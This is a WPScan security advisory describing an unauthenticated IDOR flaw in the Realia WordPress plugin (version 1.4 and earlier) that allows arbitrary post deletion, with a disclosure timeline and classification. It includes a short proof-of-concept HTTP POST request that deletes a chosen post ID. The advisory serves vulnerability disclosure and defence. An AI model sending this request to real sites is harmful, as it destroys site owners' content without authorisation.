WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Realia <= 1.4 - Unauthenticated IDOR leading to Arbitrary Post Deletion

Description

While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, submitted by Vlad Vector, the Realia plugin was found to be the root cause.

In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

The issue was reported to the WP plugins team on August 5th, 2020 and they investigated it on August 14th, 2020. The plugin was later closed from the WordPress repository and is not available for download anymore.

For more details, including about the premium theme and timeline, please refer to the link in the reference.

Proof of Concept

This will delete the Post with id 7:

POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: PoC/Realia-1.4-IDOR
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 35

property_id=7&remove_property_form= 

Affects Plugins

realia
No known fix - plugin closed

References

URL
https://gist.github.com/erwanlr/625a3a241a6bd59f18b8b048cedf1b41

Classification

Type

IDOR

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

Vlad Vector, Erwan LR

Verified

Yes

WPVDB ID
4ff539c5-6e08-4af8-81a9-d8e0b7fcff70

Timeline

Publicly Published

2020-10-15 (about 2 years ago)

Added

2020-10-15 (about 2 years ago)

Last Updated

2020-10-17 (about 2 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us